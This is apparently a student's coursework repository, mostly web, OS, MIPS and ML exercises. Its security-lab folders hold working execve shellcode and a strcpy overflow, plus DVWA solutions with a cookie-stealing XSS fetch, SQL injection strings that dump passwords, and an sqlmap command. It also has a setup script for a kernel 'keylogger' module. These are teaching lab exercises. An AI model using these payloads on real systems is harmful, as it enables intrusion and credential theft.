-------------------------------------------------------------------------------- 1 | char shellcode[] = 2 | "\xe9\x2a\x00\x00\x00\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x90\x5d\xc3\x8b"; 3 | 4 | void main() { 5 | int *ret; 6 | 7 | ret = (int *)&ret + 2; 8 | (*ret) = (int)shellcode; 9 | 10 | } 11 | -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_3/XSS(Reflected)/solutions.txt: -------------------------------------------------------------------------------- 1 | Low 2 | 3 | in the field 4 | 5 | Medium 6 | 7 | 8 | or 9 | 10 | pt>fetch('http://localhost:8000/'+document.cookie) 11 | 12 | High 13 | -------------------------------------------------------------------------------- /S5/OSTheory/CharacterDriver/test.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int main() 7 | { 8 | char buffer[100] ; 9 | char rBuff[100] ; 10 | int fd; 11 | fd=open("/dev/mouseController", O_RDWR); 12 | while(1) 13 | { 14 | scanf("%s",buffer) ; 15 | write(fd,buffer,strlen(buffer)); 16 | read(fd,rBuff,5); 17 | } 18 | close(fd); 19 | } -------------------------------------------------------------------------------- /S5/WebP/HTML_FORMS_EXERCISE/Code/main.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | CSE NIT Calicut 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/code.asm: -------------------------------------------------------------------------------- 1 | jmp line 2 | 3 | address: 4 | pop esi 5 | mov esi, 0x08(esi) 6 | xor eax, eax 7 | mov eax, 0xc(esi) 8 | mov al, 0x7(esi) 9 | mov $0xb, al 10 | mov esi, ebx 11 | lea 0x8(esi), ecx 12 | lea 0xc(esi), edx 13 | int $0x80 14 | 15 | xor ebx, ebx 16 | mov ebx, eax 17 | inc eax 18 | int $0x80 19 | 20 | line: 21 | call address 22 | .string "/bin/sh" -------------------------------------------------------------------------------- /S7/ML/Assignment_1/Q2/q2.e.py: -------------------------------------------------------------------------------- 1 | from Question2 import * 2 | 3 | errors = {} 4 | 5 | for i in [1,2,3] : 6 | errors[tuple(Allfeatures[:i])] = classifyWithFeaturesWithError(i,False) 7 | 8 | print("Misclassifications : ") 9 | 10 | print(' '*5+'-'*40) 11 | print(' '*5+f'| {"Features":20s} | {"Error":9s} |') 12 | print(' '*5+'-'*40) 13 | for f in errors : 14 | print(' '*5+f'| {str(f):20s} | {str(errors[f])+"%":9s} |') 15 | print(' '*5+'-'*40) -------------------------------------------------------------------------------- /S7/AI/Assignment_2/pyproject.toml: -------------------------------------------------------------------------------- 1 | [tool.poetry] 2 | name = "assignment_2" 3 | version = "0.1.0" 4 | description = "" 5 | authors = ["DragonPyli "] 6 | 7 | [tool.poetry.dependencies] 8 | python = "^3.9" 9 | torchvision = "^0.11.1" 10 | torchsummary = "^1.5.1" 11 | torch = "^1.10.0" 12 | 13 | [tool.poetry.dev-dependencies] 14 | 15 | [build-system] 16 | requires = ["poetry-core>=1.0.0"] 17 | build-backend = "poetry.core.masonry.api" 18 | -------------------------------------------------------------------------------- /S5/WebP/Assg2-WebServer/httpServer/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Index 5 | 6 | 7 | 11 |

This is the index page of the server

12 |

You got this this page because you requested

13 | 14 | -------------------------------------------------------------------------------- /S5/OSTheory/CharacterDriver/setup.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | MODULE="keylogger" 4 | 5 | if lsmod | grep "$MODULE" &> /dev/null ; then 6 | make clean 7 | make -j 8 -C /lib/modules/$(uname -r)/build M=$PWD 8 | rmmod keylogger 9 | insmod ./keylogger.ko 10 | else 11 | mknod -m 666 /dev/keylogger c 240 0 12 | make clean 13 | make -j 8 -C /lib/modules/$(uname -r)/build M=$PWD 14 | insmod ./keylogger.ko 15 | fi 16 | 17 | echo "$MODULE loaded!" 18 | 19 | exit -------------------------------------------------------------------------------- /S5/WebP/Assg3_4_HTML/Code/q7.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Q7 5 | 6 | 7 |
    8 |
  1. Chop potatoes into quarters
  2. 9 |
  3. Simmer in salted water for 15-20 minutes until tender
  4. 10 |
  5. Heat milk, butter and nutmeg
  6. 11 |
  7. Drain potatoes and mash
  8. 12 |
  9. Mix in the milk mixture
  10. 13 |
14 | 15 | -------------------------------------------------------------------------------- /S4/CO/MIPS/Assignment_I/Questions.txt: -------------------------------------------------------------------------------- 1 | 1. Write a program print Fibonacci numbers up to a range. 2 | 2. write program to read 2 numbers and print all prime numbers between them. 3 | 3. Write a program to a read number and check it is narcistic number or not 4 | 4. Write a program to read 2 strings and compare them (strcmp) 5 | 5. Write a program to read 2 strings and do substring matching and report the first occurrence index. 6 | 7 | Zip all the 5 .s programs and the screenshot file together, name it as your name and upload it to this link. -------------------------------------------------------------------------------- /S8/Cloud/client.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import sys 3 | 4 | sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 5 | 6 | HOST = "192.168.122.1" 7 | PORT = 5679 8 | BUFFER_SIZE = 2048 9 | address = (HOST,PORT) 10 | 11 | try : 12 | count = sys.argv[1] 13 | except IndexError as e : 14 | count = input("Seconds : ") 15 | except Exception as e : 16 | print(f'[+] InputException : {e}') 17 | 18 | sock.connect(address) 19 | sock.send(count.encode()) 20 | res = sock.recv(BUFFER_SIZE).decode() 21 | print(f'[+] Server Response : {res}') -------------------------------------------------------------------------------- /S5/WebP/Assg3_4_HTML/Code/q9.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Q9 5 | 6 | 7 |
    8 |
  • Mousses
  • 9 |
  • Pastries
  • 10 |
      11 |
    • Croissant
    • 12 |
    • Mille-feuille
    • 13 |
    • Palmier
    • 14 |
    • Profiterole
    • 15 |
    16 |
  • Tarts
  • 17 |
18 | 19 | -------------------------------------------------------------------------------- /S5/WebP/Assg3_4_HTML/Code/q4.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Q4 5 | 6 | 7 |

This is some text!

8 |

This is some text!

9 |

This is some text!

10 |

This is some text!

11 | 12 | -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/foo.c: -------------------------------------------------------------------------------- 1 | void foo() 2 | { 3 | asm("jmp line\n\t" 4 | "address: popl %esi\n\t" 5 | "movl %esi, 0x08(%esi)\n\t" 6 | "xorl %eax, %eax\n\t" 7 | "movl %eax, 0xc(%esi)\n\t" 8 | "movb %al, 0x7(%esi)\n\t" 9 | "movb $0xb, %al\n\t" 10 | "movl %esi, %ebx\n\t" 11 | "leal 0x8(%esi), %ecx\n\t" 12 | "leal 0xc(%esi), %edx\n\t" 13 | "int $0x80\n\t" 14 | "xorl %ebx, %ebx\n\t" 15 | "movl %ebx, %eax\n\t" 16 | "inc %eax\n\t" 17 | "int $0x80\n\t" 18 | "line: call address\n\t" 19 | ".string \"/bin/sh\"\n\t" 20 | ); 21 | } 22 | 23 | void main() 24 | { 25 | foo(); 26 | } -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/data.c: -------------------------------------------------------------------------------- 1 | char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x89\x46\x0c\x88\x46\x07\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; 2 | char nscode[] = "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" ; 3 | 4 | int main(int argc, char *argv[]) 5 | { 6 | // void (*shell)() = (void *) shellcode; 7 | void (*shell)() = (void *) nscode ; 8 | shell(); 9 | return 0; 10 | } -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_3/XSS(Stored)/solutions.txt: -------------------------------------------------------------------------------- 1 | Low 2 | 3 | Edit limit from input 4 | 5 | Should actually have 6 | 7 | But not done because will keep redirecting 8 | 9 | Medium 10 | 11 | in Name 12 | 13 | Doesn't work in message 14 | and ipt> doesn't work 15 | 16 | High 17 | 18 | In Name -------------------------------------------------------------------------------- /S8/IIS/Submission/submission.py: -------------------------------------------------------------------------------- 1 | import re 2 | 3 | # Regex for pattern matching +++.string 4 | 5 | reg = re.compile(r'\+\+\+[a-zA-Z0-9_\,\.]+') 6 | 7 | # Read Template.md 8 | text = open('Template.md', 'r').read() 9 | print(text) 10 | 11 | matches = reg.findall(text) 12 | 13 | print(matches) 14 | 15 | for match in matches: 16 | print(match) 17 | fName = match.split(',')[1] 18 | print(f'[+] Replacing File: {fName}') 19 | text = text.replace(match, open(fName, 'r').read()) 20 | 21 | outputFilename = "B180341CS_AJAY_Assig2.md" 22 | out = open(outputFilename, 'w') 23 | out.write(text) 24 | out.close() -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/q3.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | char shellcode[] = 5 | "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; 6 | 7 | 8 | void temp(){ 9 | } 10 | 11 | int foo(char *arg) 12 | { 13 | char buff[256]; 14 | strcpy(buff, arg); 15 | temp() ; 16 | printf("%s\n",shellcode) ; 17 | printf("%s\n",buff) ; 18 | temp() ; 19 | return 0; 20 | } 21 | 22 | int main(int argc, char *argv[]) 23 | { 24 | foo(shellcode); 25 | return 0; 26 | } -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/temp.c: -------------------------------------------------------------------------------- 1 | void foo() { 2 | } 3 | 4 | int main() { 5 | asm("jmp line\n\t" 6 | "address: popl %esi\n\t" 7 | "movl %esi, 0x08(%esi)\n\t" 8 | "xorl %eax, %eax\n\t" 9 | "movl %eax, 0xc(%esi)\n\t" 10 | "movb %al, 0x7(%esi)\n\t" 11 | "movb $0xb, %al\n\t" 12 | "movl %esi, %ebx\n\t" 13 | "leal 0x8(%esi), %ecx\n\t" 14 | "leal 0xc(%esi), %edx\n\t" 15 | "int $0x80\n\t" 16 | "xorl %ebx, %ebx\n\t" 17 | "movl %ebx, %eax\n\t" 18 | "inc %eax\n\t" 19 | "int $0x80\n\t" 20 | "line: call address\n\t" 21 | ".string \"/bin/sh\"\n\t" 22 | ); 23 | } -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/q3.c~: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | char shellcode[] = 5 | "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; 6 | 7 | 8 | void temp(){ 9 | } 10 | 11 | int foo(char *arg) 12 | { 13 | char buff[256]; 14 | strcpy(bufCode, arg); 15 | temp() ; 16 | printf("%s\n",shellcode) ; 17 | printf("%s\n",buff) ; 18 | temp() ; 19 | return 0; 20 | } 21 | 22 | int main(int argc, char *argv[]) 23 | { 24 | foo(shellcode); 25 | return 0; 26 | } -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/Submission/q3.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | char shellcode[] = 5 | "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; 6 | 7 | 8 | void temp(){ 9 | } 10 | 11 | int foo(char *arg) 12 | { 13 | char buff[256]; 14 | strcpy(bufCode, arg); 15 | temp() ; 16 | printf("%s\n",shellcode) ; 17 | printf("%s\n",buff) ; 18 | temp() ; 19 | return 0; 20 | } 21 | 22 | int main(int argc, char *argv[]) 23 | { 24 | foo(shellcode); 25 | return 0; 26 | } -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_3/SQL Injection Blind/solutions.txt: -------------------------------------------------------------------------------- 1 | Low 2 | 1' UNION SELECT @@VERSION,NULL# 3 | Run a script to get correct version 4 | 5 | Medium 6 | Change one of the option values to 7 | 1 UNION SELECT @@VERSION,NULL# 8 | (as it does not have quotes) 9 | 10 | High 11 | ' union select user,password from users# 12 | In the tab that opens up 13 | 14 | 15 | Use in combination with Sleep to get truthhood 16 | 17 | Or We Can use SQLMap for all of them 18 | 19 | sqlmap -u "http://localhost/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="PHPSESSID=njos0jhhcj197l8dj3d9bs08co; security=low" -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_2/newFile.c: -------------------------------------------------------------------------------- 1 | void foo() 2 | { 3 | asm("jmp line\n\t" 4 | "address: popl %esi\n\t" 5 | "movl %esi, 0x08(%esi)\n\t" 6 | "xorl %eax, %eax\n\t" 7 | "movl %eax, 0xc(%esi)\n\t" 8 | "movb %al, 0x7(%esi)\n\t" 9 | "movb $0xb, %al\n\t" 10 | "movl %esi, %ebx\n\t" 11 | "leal 0x8(%esi), %ecx\n\t" 12 | "leal 0xc(%esi), %edx\n\t" 13 | "int $0x80\n\t" 14 | "xorl %ebx, %ebx\n\t" 15 | "movl %ebx, %eax\n\t" 16 | "inc %eax\n\t" 17 | "int $0x80\n\t" 18 | "line: call address\n\t" 19 | ".string \"/bin/sh\"\n\t" 20 | ); 21 | } 22 | 23 | int main() 24 | { 25 | foo(); 26 | } -------------------------------------------------------------------------------- /S5/WebP/Assg3_4_HTML/Code/q13.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Q13 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 |
SaturdaySunday
Tickets Sold:120135
Total sales:$600$675
24 | 25 | -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_3/XSS(DOM)/solutions.txt: -------------------------------------------------------------------------------- 1 | Low 2 | http://localhost/DVWA/vulnerabilities/xss_d/?default=English 3 | 4 | With a server running somewhere 5 | 6 | Medium 7 | http://localhost/DVWA/vulnerabilities/xss_d/?default=English 5 | 18 | 19 | -------------------------------------------------------------------------------- /S5/OSTheory/Assignment_3/Q2/README.md: -------------------------------------------------------------------------------- 1 | # Bankers Algorithm 2 | 3 | A Menu Driven Program For Bankers Algorithm 4 | 5 | ## Input Format 6 | ``` 7 | n - Number of Processes 8 | m - Number of resources 9 | m space sepated values denoting available resources 10 | 11 | n lines 12 | of m space separated values denoting AllocTable 13 | 14 | n lines 15 | of m space separated valeus denoting MaxTable 16 | 17 | q queries 18 | ``` 19 | 20 | ## Queries : 21 | ``` 22 | a - Find Safe Sequence 23 | b - Check if Sequence is Safe 24 | c - Check if given Request Can be Serviced 25 | t - Terminate 26 | ``` 27 | 28 | ## Files : 29 | ``` 30 | q2.c # Banker Algorithm Program 31 | ``` 32 | ## Commands to run : 33 | ``` 34 | gcc q2.c && ./a.out # Compile and runs Program of process 1 35 | ``` 36 | -------------------------------------------------------------------------------- /S5/OSTheory/Assignment_3/Q1/README.md: -------------------------------------------------------------------------------- 1 | # IPC Using Message Queues 2 | 3 | Interprocess communication between unrelated processes 4 | 5 | The ftok , msgget , msgget and msgrevc commands are used to create and use the message queues 6 | 7 | ## Files : 8 | ``` 9 | q1_CI.c # CI Program 10 | q1_ST.c # Student Program 11 | q1_TA.c # TA program 12 | ``` 13 | ## Commands to run : 14 | ``` 15 | gcc q1_CI.c -o ci && ./ci # Compile and runs Program of process 1 16 | gcc q1_ST.c -o st && ./st # Compile and runs Program of process 2 17 | gcc q1_TA.c -o ta && ./ta # Compile and runs Program of process 3 18 | ``` 19 | ## Processes 20 | ``` 21 | CI # Gets User Input and displays grades 22 | TA # Calculates Average and Assigns Grades 23 | Students # Receives Marks 24 | ``` 25 | -------------------------------------------------------------------------------- /S5/WebP/Assg3_4_HTML/Code/q14.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Q14 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 |
NameTelephone
Bill Gates555 77 854555 77 855
18 |   19 | 20 | 21 | 22 | 23 | 24 | 25 | 27 | 28 | 29 | 30 | 31 |
First NameBill Gates
Telephone 26 | 555 77 854
555 77 855
32 | 33 | -------------------------------------------------------------------------------- /S7/ML/Assignment_1/Q2/q2.f.py: -------------------------------------------------------------------------------- 1 | from Question2 import * 2 | 3 | def classifyCustomdata(data,features=1,verbose=True) : 4 | if verbose : 5 | print("-"*50) 6 | print(f'Classifying using {Allfeatures[:features]}') 7 | 8 | for i in range(len(data)) : 9 | x = data[i] 10 | discVals = {} 11 | for key in ['W1','W2','W3'] : 12 | mean = means[key] 13 | cov = covs[key] 14 | p = P[key] 15 | discVals[key] = discriminant(x,mean,cov,features,p) 16 | val = np.argmax(np.array(list(discVals.values()))) 17 | if verbose : 18 | print(f'Classified data {str(x):24s} as W{val+1}') 19 | if verbose : 20 | print("-"*50) 21 | 22 | newData = [ 23 | [1,2,1], 24 | [5,3,2], 25 | [0,0,0], 26 | [1,0,0] 27 | ] 28 | 29 | classifyCustomdata(newData,1) 30 | classifyCustomdata(newData,2) 31 | classifyCustomdata(newData,3) -------------------------------------------------------------------------------- /S8/Cloud/server.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import time 3 | from threading import Thread 4 | 5 | notifySocket = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 6 | 7 | HOST = "192.168.122.1" 8 | PORT = 5678 9 | SERVER_PORT = 5679 10 | BUFFER_SIZE = 2048 11 | 12 | notifySocket.connect((HOST,PORT)) 13 | notifySocket.send("RegNewServer".encode()) 14 | 15 | server = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 16 | server.bind(("0.0.0.0",SERVER_PORT)) 17 | server.listen(5) 18 | 19 | print(f'[+] Listening to connections on : 0.0.0.0:{SERVER_PORT}') 20 | 21 | def handle_connected(conn=None,addr="") : 22 | data = float(conn.recv(BUFFER_SIZE).decode()) 23 | endTime = time.time() + data 24 | while time.time() < endTime : 25 | x = 2*2 26 | conn.send("DONE".encode()) 27 | 28 | while True : 29 | connection , client_addr = server.accept() 30 | connectionThread = Thread(target=handle_connected,args=(connection,client_addr,)) 31 | connectionThread.start() -------------------------------------------------------------------------------- /S8/Cloud/clusterClient.py: -------------------------------------------------------------------------------- 1 | import time 2 | import sys 3 | import os 4 | 5 | from threading import Thread 6 | 7 | try : 8 | count = sys.argv[1] 9 | t = sys.argv[2] 10 | except IndexError as e : 11 | count = input("Count : ") 12 | t = input("Duration : ") 13 | except Exception as e : 14 | print(f'[+] InputException : {e}') 15 | 16 | try : 17 | interval = sys.argv[3] 18 | except IndexError as e : 19 | interval = 1 20 | except Exception as e : 21 | print(f'[+] InputException : {e}') 22 | 23 | try : 24 | count = int(count) 25 | t = float(t) 26 | interval = float(interval) 27 | except Exception as e : 28 | count = 10 29 | t = 0.2 30 | interval = 1 31 | 32 | command = f'python client.py {t}' 33 | 34 | for i in range(count) : 35 | time.sleep(interval) 36 | rThread = Thread(target=os.system,args=(command,)) 37 | rThread.start() 38 | 39 | print(f'[+] Running Request') 40 | time.sleep(t*count) 41 | print(f'[+] Requests Done') -------------------------------------------------------------------------------- /S5/WebP/CSS_Exercise/myPage.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | myPage 5 | 6 | 7 | 8 |

Name

9 | 10 |

11 | House Name (H)
12 | Post Office Name P O
13 | District PIN
14 | Mob: 9988776655
15 | Mail: firstname_b18xxxxcs@nitc.ac.in 16 |

17 |

18 | 3rd year B.Tech student in CSE at NIT Calicut
19 | Enthusiastic programmer eager to learn new things in Tech
20 | Skills : C, C++, Python, Problem Solving 21 |

22 |

Interests

23 |
    24 |
  • Web Programming
  • 25 |
  • Cyber Security
  • 26 |
  • Operating Systems
  • 27 |
28 | 29 | -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_3/PHPIDS/detection.txt: -------------------------------------------------------------------------------- 1 | BruteForce 2 | Low : No 3 | Medium : No 4 | High : No 5 | 6 | Command Injection 7 | Low : No 8 | Medium : Yes 9 | High : No 10 | 11 | CSRF 12 | Low : No 13 | Medium : Yes 14 | 15 | File Inclusion 16 | Low : Yes 17 | Medium : Yes 18 | High : Yes 19 | 20 | File Upload 21 | Low : No 22 | Medium : No 23 | High : No 24 | 25 | Insecure Captcha 26 | Low : No 27 | Medium : No 28 | High : No 29 | 30 | SQL Injection 31 | Low : Yes 32 | Medium : No 33 | High : Yes 34 | 35 | SQL Injection Blind 36 | Low : 37 | Medium : 38 | High : 39 | 40 | XSS DOM 41 | Low : Yes 42 | Medium : No 43 | High : No , Because data is not getting sent to server side 44 | 45 | XSS Reflected 46 | Low : Yes 47 | Medium : Yes 48 | High : Yes 49 | 50 | XSS Stored 51 | Low : Yes 52 | Medium : Yes 53 | High : Yes -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_3/ModSecurity/detection.txt: -------------------------------------------------------------------------------- 1 | BruteForce 2 | Low : No 3 | Medium : No 4 | High : No 5 | 6 | Command Injection 7 | Low : Yes 8 | Medium : Yes 9 | High : Yes 10 | 11 | CSRF 12 | Low : No 13 | Medium : Yes , can't make guestbook entry 14 | 15 | File Inclusion 16 | Low : Yes 17 | Medium : Yes 18 | High : Yes 19 | 20 | File Upload 21 | Low : Yes 22 | Medium : Yes 23 | High : Yes 24 | 25 | Insecure Captcha 26 | Low : No 27 | Medium : No 28 | High : No 29 | 30 | SQL Injection 31 | Low : Yes 32 | Medium : Yes 33 | High : Yes 34 | 35 | SQL Injection Blind 36 | Low : 37 | Medium : 38 | High : 39 | 40 | XSS DOM 41 | Low : Yes 42 | Medium : Yes 43 | High : No, Because data is not getting sent to server side 44 | 45 | XSS Reflected 46 | Low : Yes 47 | Medium : Yes 48 | High : Yes 49 | 50 | XSS Stored 51 | Low : Yes 52 | Medium : Yes 53 | High : Yes -------------------------------------------------------------------------------- /S5/OSTheory/CharacterDriver/README.md: -------------------------------------------------------------------------------- 1 | # Cursor Control Driver 2 | 3 | Driver that moves curson and simulates mouse button clicks 4 | 5 | ## Commands to run : 6 | ``` 7 | sudo mknod -m 666 /dev/mouseController c 240 0 # To Create mouseController Device 8 | make here # To Compile the driver Code 9 | make clean # To Remove the comoiled files 10 | sudo insmod ./mouseController.ko # To Load the module 11 | sudo rmmod mouseController # To remove the module 12 | ``` 13 | ## Makefile: 14 | ``` 15 | obj-m := mouseController.o 16 | all: 17 | make -C /lib/modules/$(shell uname -r)/build/ M=$(PWD) modules 18 | here: 19 | make -C /lib/modules/$(shell uname -r)/build/ M=$(PWD) 20 | clean: 21 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 22 | ``` 23 | ## TEAM MEMBERS: 24 | ##### Basil Varghese 25 | ##### Arjun Syam 26 | ##### Anshif Moossa K 27 | ##### Amal Raj 28 | ##### Ajay P Sakthikumar 29 | -------------------------------------------------------------------------------- /S8/Cloud/monitor.py: -------------------------------------------------------------------------------- 1 | import libvirt 2 | import time 3 | import sys 4 | 5 | domName = "Lubuntu_1" 6 | 7 | try: 8 | # conn = libvirt.openReadOnly(None) 9 | conn = libvirt.open("qemu:///system") 10 | except libvirt.libvirtError: 11 | print('Failed to open connection to the hypervisor') 12 | sys.exit(1) 13 | 14 | try: 15 | dom = conn.lookupByName(domName) 16 | except libvirt.libvirtError: 17 | print('Failed to find the main domain') 18 | sys.exit(1) 19 | 20 | print("Domain 0: id %d running %s" % (dom.ID(), dom.OSType())) 21 | print(dom.info()) 22 | 23 | try : 24 | stats = dom.getCPUStats(True) 25 | except Exception as e : 26 | print(f'[!] Exception : {e}') 27 | 28 | # In Seconds 29 | poolTime = 0.5 30 | scaleFactor = poolTime * 10**9 31 | 32 | while True : 33 | pStats = dom.getCPUStats(True)[0] 34 | time.sleep(poolTime) 35 | stats = dom.getCPUStats(True)[0] 36 | usage = 100 * (stats['cpu_time']-pStats['cpu_time']) / scaleFactor 37 | if usage > 100 : 38 | usage = 100 39 | print(f'[+] Usage % : {usage}') -------------------------------------------------------------------------------- /S5/OSTheory/PipeCommunication/Q2/process_3.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | void main() 9 | { 10 | key_t key = ftok("shmfile",65); 11 | 12 | int shmid = shmget(key,1024,0666|IPC_CREAT); 13 | 14 | void *base ; 15 | base = (char*) shmat(shmid,(void*)0,0); 16 | 17 | char *pwd = base ; 18 | int *p1_flag = base + 20 ; 19 | int *p2_flag = p1_flag + 1 ; 20 | int *p3_flag = p2_flag + 1 ; 21 | int *alnum = p3_flag + 1 ; 22 | int *special = alnum + 1 ; 23 | int *strength = special + 1 ; 24 | 25 | *p1_flag = -1 ; 26 | *p2_flag = -1 ; 27 | *p3_flag = -1 ; 28 | *alnum = 0 ; 29 | *special = 0 ; 30 | *strength = -1 ; 31 | 32 | do 33 | { 34 | sleep(1) ; 35 | } while(*p2_flag==-1) ; 36 | 37 | if(*alnum < *special) 38 | *strength = 1 ; 39 | else 40 | *strength = 0 ; 41 | 42 | *p3_flag = 1 ; 43 | 44 | shmdt(base) ; 45 | shmctl(shmid,IPC_RMID,NULL) ; 46 | } -------------------------------------------------------------------------------- /S8/IIS/Submission/Template.md: -------------------------------------------------------------------------------- 1 | Q1 : Implementation of RSA using 512 bit and 1024 bit parameters 2 | 3 | ```c++ 4 | +++,B180341CS_Prog1.cpp 5 | ``` 6 | Output : 7 | ![RSA](Screenshots/RSA.jpg "RSA") 8 | 9 | Q2 : Implementation of ElGamal using 512 bit and 1024 bit parameters 10 | 11 | ```c++ 12 | +++,B180341CS_Prog2.cpp 13 | ``` 14 | Output : 15 | ![ElGamal](Screenshots/ElGamal.jpg "ElGamal") 16 | 17 | Q3 : Implementation of ECC using F-192 parameters 18 | 19 | ```c++ 20 | +++,B180341CS_Prog3.cpp 21 | ``` 22 | Output : 23 | ![ECC](Screenshots/ECC.jpg "ECC") 24 | 25 | Q4 - a : Digital Signature Implementation using RSA 26 | 27 | Header Files with Necessary Utils for SHA Hash 28 | 29 | ```c++ 30 | +++,B180341CS_Prog4.cpp 31 | ``` 32 | Output : 33 | ![DS_RSA](Screenshots/DS_RSA.jpg "DS_RSA") 34 | 35 | Q4 - b : Digital Signature Implementation using ElGamal 36 | 37 | ```c++ 38 | +++,B180341CS_Prog5.cpp 39 | ``` 40 | Output : 41 | ![DS_ElGamal](Screenshots/DS_ElGamal.jpg "DS_ElGamal") 42 | 43 | Q4 - c : Digital Signature Implementation using ECC 44 | 45 | ```c++ 46 | +++,B180341CS_Prog6.cpp 47 | ``` 48 | Output : 49 | ![DS_ECC](Screenshots/DS_ECC.jpg "DS_ECC") -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_5/temp.html: -------------------------------------------------------------------------------- 1 |
2 |
3 |

Click To Continue

4 |

5 | I agree to the terms and conditions 6 |

7 | 8 | 9 | 10 |
11 |
12 | 13 | -------------------------------------------------------------------------------- /S7/CS Lab/Assignment_5/portal.html: -------------------------------------------------------------------------------- 1 |
2 |
3 |

Click To Continue

4 |

5 | I agree to the terms and conditions 6 |

7 | 8 | 9 | 10 |
11 |
12 | 13 | -------------------------------------------------------------------------------- /S5/WebP/JavaScript_ClassroomASSG/Code/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Operaions 5 | 6 | 7 | 8 |
9 | 10 |
11 |
12 | 13 |
14 |
15 | Add
16 | Substract
17 | Multiply
18 | 19 |
20 | 21 |

Note: float results are rounded to 2 decimal places

22 | 23 |

24 | 25 |

26 | 27 | 28 | 29 | -------------------------------------------------------------------------------- /S4/CO/MIPS/Assignment_I/q1.s: -------------------------------------------------------------------------------- 1 | # $t6 - i - before previous 2 | # $t7 - j - previous 3 | # $s7 - k - current 4 | # $s6 - N 5 | 6 | .globl main 7 | 8 | .text 9 | 10 | main : 11 | li $t6, 0 12 | li $t7, 1 13 | li $s7, 0 14 | 15 | li $v0, 4 16 | la $a0, text 17 | syscall 18 | 19 | # Getting user input 20 | li $v0, 5 21 | syscall 22 | 23 | move $s6, $v0 # N 24 | 25 | loop : 26 | # If current < N jump to exit 27 | slt $s1,$s7,$s6 28 | beqz $s1,exit 29 | 30 | # Print number 31 | li $v0, 1 32 | move $a0, $s7 33 | syscall 34 | jal print_space 35 | 36 | move $t6, $t7 # i = j 37 | move $t7, $s7 # j = k 38 | add $s7,$t7,$t6 # k = i + j 39 | j loop 40 | 41 | print_space : 42 | li $v0, 4 43 | la $a0, spc 44 | syscall 45 | jr $ra 46 | 47 | print_nl : 48 | li $v0, 4 49 | la $a0, nl 50 | syscall 51 | jr $ra 52 | 53 | exit : 54 | jal print_nl 55 | li $v0, 10 56 | syscall 57 | 58 | .data 59 | text: .asciiz "Enter 